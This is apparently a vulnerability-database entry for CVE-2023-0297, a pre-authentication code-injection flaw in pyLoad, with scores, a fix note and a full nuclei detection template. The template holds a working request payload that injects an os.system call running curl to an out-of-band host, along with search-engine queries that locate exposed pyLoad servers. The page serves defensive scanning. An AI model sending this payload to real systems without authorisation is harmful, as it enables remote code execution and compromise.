HexBrain

Browse / CVEs / CVE-2023-0297

CVE-2023-0297· pyload / pyload· CWE-94

PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)

criticalseverity
9.8CVSS score
95.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the target system.

Fix

Upgrade PyLoad to a version that is not affected by this vulnerability.

How to confirm it

Send: GET /flash/addcrypted2 ; POST /flash/addcrypted2
Positive when: contains in body_1 "JDownloader" AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2023-0297 -u <target>

The full check
id: CVE-2023-0297

info:
  name: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
  author: MrHarshvardhan,DhiyaneshDk
  severity: critical
  description: |
    Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the target system.
  remediation: |
    Upgrade PyLoad to a version that is not affected by this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51532
    - https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1058
    - http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.html
    - http://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-0297
    cwe-id: CWE-94
    epss-score: 0.95915
    epss-percentile: 0.99874
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pyload
    product: pyload
    shodan-query:
      - html:"pyload"
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2023,huntr,packetstorm,rce,pyload,oast,vkev,vuln
variables:
  cmd: "curl {{interactsh-url}}"

http:
  - raw:
      - |
        GET /flash/addcrypted2 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /flash/addcrypted2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        jk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'JDownloader'

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from